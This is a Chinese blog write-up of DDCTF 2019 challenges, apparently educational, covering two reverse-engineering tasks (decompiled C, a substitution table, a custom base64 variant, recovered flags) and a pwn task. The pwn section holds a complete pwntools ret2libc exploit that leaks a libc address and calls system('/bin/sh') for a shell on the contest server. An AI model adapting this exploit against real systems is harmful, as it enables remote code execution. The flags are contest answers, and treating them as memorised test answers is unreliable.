avatar

CTF-2019年4月DDCTF

Re

0x01 reverse1_final

先用esp定律脱壳,然后导入IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
char v4; // [sp+4h] [bp-804h]@1
char v5; // [sp+5h] [bp-803h]@1
char v6; // [sp+404h] [bp-404h]@1
char Dst; // [sp+405h] [bp-403h]@1

v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
sub_401000(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
{
printf("You've got it!!%s\n", &v4);
result = 0;
}
else
{
printf("Try again later.\n");
result = 0;
}
return result;
}

进入sub_401000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int __cdecl sub_401000(const char *a1)
{
_BYTE *v1; // ecx@0
unsigned int v2; // edi@1
unsigned int result; // eax@1
int v4; // ebx@2

v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = a1 - v1;
do
{
*v1 = byte_402FF8[v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}

推测是密码表,由于都是在寄存器内运算,ida反编译之后不利于分析,于是使用od动态调试
最后发现以下数据

1
2
3
4
5
6
7
8
9
10
00402FF8                                       00 00 00 00 00 00 00 00
00403000 49 B7 10 1F B6 48 EF E0 FF FF FF FF FF FF FF FF I?禜镟
00403010 FE FF FF FF 01 00 00 00 7E 7D 7C 7B 7A 79 78 77 ?...~}|{zyxw
00403020 76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67 vutsrqponmlkjihg
00403030 66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57 fedcba`_^]\[ZYXW
00403040 56 55 54 53 52 51 50 4F 4E 4D 4C 4B 4A 49 48 47 VUTSRQPONMLKJIHG
00403050 46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37 FEDCBA@?>=<;:987
00403060 36 35 34 33 32 31 30 2F 2E 2D 2C 2B 2A 29 28 27 6543210/.-,+*)('
00403070 26 25 24 23 22 21 20 00 01 00 00 00 88 2E 3B 00 &%$#"! ....?;.
00403080 58 3C 3B X<;

它的算法是把输入的字符变成ascii,然后按照ascii作为位置在以上密码表中选出密文
所以算出变换后的对应表来找就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<iostream>
#include<string>
using namespace std;
int crypto[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x49,0xB7,0x10,0x1F,0xB6,0x48,0xEF,0xE0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,0xFF,0x01,0x00,0x00,0x00,0x7E,0x7D,0x7C,0x7B,0x7A,0x79,0x78,0x77,0x76,0x75,0x74,0x73,0x72,0x71,0x70,0x6F,0x6E,0x6D,0x6C,0x6B,0x6A,0x69,0x68,0x67,0x66,0x65,0x64,0x63,0x62,0x61,0x60,0x5F,0x5E,0x5D,0x5C,0x5B,0x5A,0x59,0x58,0x57,0x56,0x55,0x54,0x53,0x52,0x51,0x50,0x4F,0x4E,0x4D,0x4C,0x4B,0x4A,0x49,0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41,0x40,0x3F,0x3E,0x3D,0x3C,0x3B,0x3A,0x39,0x38,0x37,0x36,0x35,0x34,0x33,0x32,0x31,0x30,0x2F,0x2E,0x2D,0x2C,0x2B,0x2A,0x29,0x28,0x27,0x26,0x25,0x24,0x23,0x22,0x21,0x20,0x00,0x01,0x00,0x00,0x00,0x88,0x2E,0x3B,0x00,0x58,0x3C,0x3B };
int main() {
for (int i = 32; i <= 127; i++) {

cout << (char)i << " -> " << (char)crypto[i] << endl;
}
//DDCTF{reverseME}
//ZZ[JX#,9(9,+9QY!
return 0;
}

所以FLAG为 ZZ[JX#,9(9,+9QY!

0x02 reverse2_final

先用esp定律脱壳,然后导入IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Dest; // [sp+8h] [bp-C04h]@4
char v5; // [sp+9h] [bp-C03h]@4
char v6; // [sp+408h] [bp-804h]@1
char Dst; // [sp+409h] [bp-803h]@1
char v8; // [sp+808h] [bp-404h]@1
char v9; // [sp+809h] [bp-403h]@1

v6 = 0;
memset(&Dst, 0, 0x3FFu);
v8 = 0;
memset(&v9, 0, 0x3FFu);
printf("input code:");
scanf("%s", &v6);
if ( !(unsigned __int8)sub_4011F0() )
{
printf("invalid input\n");
exit(0);
}
sub_401240(&v8);
Dest = 0;
memset(&v5, 0, 0x3FFu);
sprintf(&Dest, "DDCTF{%s}", &v8);
if ( !strcmp(&Dest, "DDCTF{reverse+}") )
printf("You've got it !!! %s\n", &Dest);
else
printf("Something wrong. Try again...\n");
return 0;
}

先进入sub_4011F0,会发现函数对输入的字符串做出了限制只能是0-9,A-F,输入的数量必须是偶数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char __usercall sub_4011F0@<al>(const char *a1@<esi>)
{
signed int v1; // eax@1
signed int v2; // edx@1
int v3; // ecx@3
char v4; // al@4

v1 = strlen(a1);
v2 = v1;
if ( v1 && v1 % 2 != 1 )
{
v3 = 0;
if ( v1 <= 0 )
return 1;
while ( 1 )
{
v4 = a1[v3];
if ( (v4 < 48 || v4 > 57) && (v4 < 65 || v4 > 70) )
break;
if ( ++v3 >= v2 )
return 1;
}
}
return 0;
}

根据执行结果,就是将字符串转化为十六进制,比如 输入AA 就转化为0xAA 输入BB 就转化为0xBB,然后执行sub_401000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __usercall sub_401240@<eax>(const char *a1@<esi>, int a2)
{
signed int v2; // edi@1
unsigned int v3; // edx@1
char v4; // bl@2
char v5; // al@3
char v6; // al@7
unsigned int v7; // ecx@11
char v9; // [sp+Bh] [bp-405h]@0
char v10; // [sp+Ch] [bp-404h]@1
char Dst; // [sp+Dh] [bp-403h]@1

v2 = strlen(a1);
v10 = 0;
memset(&Dst, 0, 0x3FFu);
v3 = 0;
if ( v2 > 0 )
{
v4 = v9;
do
{
v5 = a1[v3];
if ( (unsigned __int8)(a1[v3] - 48) > 9u )
{
if ( (unsigned __int8)(v5 - 65) <= 5u )
v9 = v5 - 55;
}
else
{
v9 = a1[v3] - 48;
}
v6 = a1[v3 + 1];
if ( (unsigned __int8)(a1[v3 + 1] - 48) > 9u )
{
if ( (unsigned __int8)(v6 - 65) <= 5u )
v4 = v6 - 55;
}
else
{
v4 = a1[v3 + 1] - 48;
}
v7 = v3 >> 1;
v3 += 2;
*(&v10 + v7) = v4 | 16 * v9;
}
while ( (signed int)v3 < v2 );
}
return sub_401000(v2 / 2, a2);
}

这个代码其实和re1是差不多的,同时我们发现了密码表byte_403020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int __cdecl sub_401000(int a1, void *a2)
{
char *v2; // ecx@0
int v3; // ebp@1
char *v4; // edi@1
signed int v5; // esi@1
unsigned __int8 v6; // bl@2
signed int v7; // esi@3
int v8; // edi@10
int v9; // edi@13
size_t v10; // esi@15
void *v11; // edi@15
const void *v12; // eax@15
unsigned __int8 Dst; // [sp+14h] [bp-38h]@2
unsigned __int8 v15; // [sp+15h] [bp-37h]@2
unsigned __int8 v16; // [sp+16h] [bp-36h]@3
char v17; // [sp+18h] [bp-34h]@3
char v18; // [sp+19h] [bp-33h]@3
char v19; // [sp+1Ah] [bp-32h]@3
char i; // [sp+1Bh] [bp-31h]@3
void *v21; // [sp+1Ch] [bp-30h]@1
char v22; // [sp+20h] [bp-2Ch]@1
void *Src; // [sp+24h] [bp-28h]@15
size_t Size; // [sp+34h] [bp-18h]@15
unsigned int v25; // [sp+38h] [bp-14h]@15
int v26; // [sp+48h] [bp-4h]@1

v3 = a1;
v4 = v2;
v21 = a2;
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(&v22);
v5 = 0;
v26 = 0;
if ( a1 )
{
do
{
*(&Dst + v5) = *v4;
v6 = v15;
++v5;
--v3;
++v4;
if ( v5 == 3 )
{
v17 = Dst >> 2;
v18 = (v15 >> 4) + 16 * (Dst & 3);
v19 = (v16 >> 6) + 4 * (v15 & 0xF);
i = v16 & 0x3F;
v7 = 0;
do
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&v22,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v17 + v7++)] ^ 0x76));
while ( v7 < 4 );
v5 = 0;
}
}
while ( v3 );
if ( v5 )
{
if ( v5 < 3 )
{
memset(&Dst + v5, 0, 3 - v5);
v6 = v15;
}
v18 = (v6 >> 4) + 16 * (Dst & 3);
v17 = Dst >> 2;
v19 = (v16 >> 6) + 4 * (v6 & 0xF);
v8 = 0;
for ( i = v16 & 0x3F; v8 < v5 + 1; ++v8 )
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&v22,
(unsigned __int8)(byte_403020[(unsigned __int8)*(&v17 + v8)] ^ 0x76));
if ( v5 < 3 )
{
v9 = 3 - v5;
do
{
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&v22, 61);
--v9;
}
while ( v9 );
}
}
}
v10 = Size;
v11 = v21;
memset(v21, 0, Size + 1);
v12 = Src;
if ( v25 < 0x10 )
v12 = &Src;
memcpy(v11, v12, v10);
v26 = -1;
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>();
return sub_40145E();
}

由于每加密之后都要异或一次,不如我们先对密码表进行第一次还原,即异或0x76

发现密码表是有规律的

1
0x0003f000 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/wvvv頧LvN;Lvvvvv

总结:就是输入的字符两两变成十六进制,然后取左边6位作为key取出密码表的字符,不够则用0填充

所以我们先算出密文在密码表的位置

r e v e r s e +
43 30 47 30 43 44 30 62

转化为二进制,然后六个六个分割

10101101 11101011 11011110 10101110 11000111 10111110

然后转化为ascii,即为flag

ADEBDEAEC7BE

Pwn

0x01 pwn strike

第一次输入溢出ebp,第二次输入负数绕过if并且无限长的读入
然后溢出libc,然后再跳会main函数
但是直接跳回main函数会导致ebp无法溢出,所以必须跳到start上,对数据进行初始化
然后rop跳到libc空间然后执行system拿到shell

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
from pwn import *
import time
context.log_level = 'debug'
#sh = process("xpwn")
sh = remote("116.85.48.105",5005)
pop_edx_ret = 0x08048411
input()
sh.recv()
sh.sendline('a'*0x40)
sh.recvuntil('a'*0x40)
ebp = u32(sh.recv()[8:12])
print "[+] ebp = " + hex(ebp)
sh.sendline('-7.3')
size = 78
libc = ELF('libc.so.6')
elf = ELF('xpwn')
start_addr = 0x080484E0
vul_addr = 0x0804862D
bss_addr = elf.bss()
read_plt = elf.plt['read']
padding = p32(elf.plt['puts']) + p32(0x08048669) + p32(elf.got['__libc_start_main']) + p32(1)
payload ='a'*10+ padding+'a'*52 + p32(ebp-72) + 'a' * 4 + p32(ebp) + 'a' * 112

sh.sendline(payload)
print sh.recvuntil("bye!\x0a")
libc_start_main = u32(sh.recv(4))
print "[+] __libc_start_main :"+hex(libc_start_main)
#--------------------------------------
sh.sendline('a'*0x40)
sh.recvuntil('a'*0x40)
ebp = u32(sh.recv()[8:12])
sh.sendline('-9.5')
sh.recv()
print "[+] ebp = " + hex(ebp)
print "[+] base = "+ hex(libc.symbols['__libc_start_main']-libc_start_main)
print "[+] system_addr"+hex(libc.symbols['system']-(libc.symbols['__libc_start_main']-libc_start_main))
binshell = next(libc.search('/bin/sh\0'))
padding = p32(libc.symbols['system']-(libc.symbols['__libc_start_main']-libc_start_main)) + p32(0) + p32(binshell -(libc.symbols['__libc_start_main']-libc_start_main))
payload ='a'*60 + p32(ebp-60) + p32(ebp) + p32(ebp)+ padding + 'a' * 112
sh.sendline(payload)
sh.interactive()
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/04/16/CTF-2019%E5%B9%B44%E6%9C%88DDCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论